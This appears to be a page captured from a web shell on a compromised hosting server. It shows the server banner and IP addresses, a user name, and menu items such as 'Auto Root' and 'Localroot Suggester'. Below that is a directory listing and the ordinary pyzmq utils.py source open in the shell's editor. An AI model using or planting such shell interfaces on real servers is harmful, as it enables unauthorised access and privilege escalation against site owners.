Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python3.6 /
site-packages /
zmq /
backend /
cffi /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-03-29 05:07
__init__.py
616
B
-rw-r--r--
2018-02-10 08:02
_cdefs.h
1.94
KB
-rw-r--r--
2018-02-10 08:02
_cffi.py
3.79
KB
-rw-r--r--
2018-02-10 08:02
_poll.py
2.77
KB
-rw-r--r--
2018-02-10 08:02
_verify.c
208
B
-rw-r--r--
2018-02-10 08:02
constants.py
357
B
-rw-r--r--
2018-02-10 08:02
context.py
2.52
KB
-rw-r--r--
2018-02-10 08:02
devices.py
580
B
-rw-r--r--
2018-02-10 08:02
error.py
353
B
-rw-r--r--
2018-02-10 08:02
message.py
1.36
KB
-rw-r--r--
2018-02-10 08:02
socket.py
8.49
KB
-rw-r--r--
2018-02-10 08:02
utils.py
1.45
KB
-rw-r--r--
2018-02-10 08:02
Save
Rename
# coding: utf-8 """miscellaneous zmq_utils wrapping""" # Copyright (C) PyZMQ Developers # Distributed under the terms of the Modified BSD License. from errno import EINTR from ._cffi import ffi, C from zmq.error import ZMQError, InterruptedSystemCall, _check_rc, _check_version from zmq.utils.strtypes import unicode def has(capability): """Check for zmq capability by name (e.g. 'ipc', 'curve') .. versionadded:: libzmq-4.1 .. versionadded:: 14.1 """ _check_version((4,1), 'zmq.has') if isinstance(capability, unicode): capability = capability.encode('utf8') return bool(C.zmq_has(capability)) def curve_keypair(): """generate a Z85 keypair for use with zmq.CURVE security Requires libzmq (≥ 4.0) to have been built with CURVE support. Returns ------- (public, secret) : two bytestrings The public and private keypair as 40 byte z85-encoded bytestrings. """ _check_version((3,2), "monitor") public = ffi.new('char[64]') private = ffi.new('char[64]') rc = C.zmq_curve_keypair(public, private) _check_rc(rc) return ffi.buffer(public)[:40], ffi.buffer(private)[:40] def _retry_sys_call(f, *args, **kwargs): """make a call, retrying if interrupted with EINTR""" while True: rc = f(*args) try: _check_rc(rc) except InterruptedSystemCall: continue else: break __all__ = ['has', 'curve_keypair']